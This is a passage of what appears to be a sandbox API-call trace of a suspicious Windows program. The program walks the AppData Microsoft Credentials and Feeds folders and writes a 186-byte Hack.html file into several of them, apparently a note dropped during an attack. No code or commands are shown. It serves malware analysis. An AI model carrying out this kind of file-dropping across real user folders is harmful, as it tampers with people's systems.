out: lpFindFileData=0x39ea94) returned 0 [0090.925] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0090.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0090.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0090.925] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x34 [0090.925] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x35 [0090.925] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0090.926] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.926] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.926] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0090.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0090.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0090.926] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x34 [0090.927] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x35 [0090.927] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0090.927] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.927] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.927] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0090.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0090.927] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\Hack.html", lpFilePart=0x0) returned 0x3e [0090.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0090.927] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.928] GetFileType (hFile=0x174) returned 0x1 [0090.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0090.928] GetFileType (hFile=0x174) returned 0x1 [0090.928] WriteFile (in: hFile=0x174, lpBuffer=0x288a460*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x288a460*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0090.929] CloseHandle (hObject=0x174) returned 1 [0090.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0090.929] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2e [0090.929] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\", lpFilePart=0x0) returned 0x2f [0090.929] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0090.933] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.933] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.933] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.933] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.934] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.934] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0090.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0090.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0090.934] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2e [0090.934] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\", lpFilePart=0x0) returned 0x2f [0090.935] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0090.935] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.936] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.936] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.936] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.936] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.936] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0090.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0090.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0090.937] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0090.938] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x3f [0090.938] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0090.939] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.940] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.940] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpFilePart=0x0) returned 0x40 [0090.940] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.942] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0090.946] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.946] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.947] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.947] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.947] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0090.947] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0090.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0090.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0090.948] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0090.948] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x3f [0090.948] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0090.949] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.949] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.950] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpFilePart=0x0) returned 0x40 [0090.950] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.952] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0090.952] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.952] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.953] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0090.953] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0090.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0090.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0090.954] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html", lpFilePart=0x0) returned 0x49 [0090.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0090.955] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e6a0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0090.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0090.956] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.957] GetFileType (hFile=0x174) returned 0x1 [0090.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0090.957] GetFileType (hFile=0x174) returned 0x1 [0090.958] WriteFile (in: hFile=0x174, lpBuffer=0x2891270*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2891270*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0090.958] CloseHandle (hObject=0x174) returned 1 [0090.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0090.959] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0090.960] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x56 [0090.960] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0090.960] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.961] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.962] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpFilePart=0x0) returned 0x57 [0090.962] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.964] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0090.964] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.964] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.964] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0090.964] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0090.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0090.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0090.965] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0090.965] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x56 [0090.965] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0090.966] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.966] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.967] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpFilePart=0x0) returned 0x57 [0090.967] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.968] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0090.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.969] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0090.969] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0090.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0090.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0090.969] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.970] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0090.970] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x61 [0090.970] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0090.971] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.971] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.972] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.973] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.973] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: 